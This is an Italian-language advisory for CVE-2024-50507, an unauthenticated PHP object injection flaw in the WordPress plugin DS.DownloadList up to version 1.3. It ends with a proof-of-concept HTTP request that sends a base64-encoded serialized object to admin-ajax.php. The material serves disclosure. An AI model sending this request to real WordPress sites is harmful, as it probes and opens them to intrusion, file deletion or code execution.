CVE-2024-50507

DS.DownloadList <= 1.3 - Iniezione di Oggetti PHP Non Autenticata

Descrizione

Il plugin DS.DownloadList per WordPress è vulnerabile all'Iniezione di Oggetti PHP in tutte le versioni fino alla 1.3 inclusa tramite deserializzazione di input non attendibili. Ciò rende possibile per attaccanti non autenticati iniettare un Oggetto PHP. Nessuna catena POP nota è presente nel software vulnerabile. Se una catena POP è presente tramite un plugin o tema aggiuntivo installato sul sistema target, potrebbe permettere all'attaccante di eliminare file arbitrari, recuperare dati sensibili o eseguire codice.

Dettagli

• Tipo: plugin
• Slug: dsdownloadlist
• Versione Affetta: 1.3
• Punteggio CVSS: 8.1
• Valutazione CVSS: Alto
• Vettore CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50507
• Stato: Chiuso

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

action=dsdl&atts=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=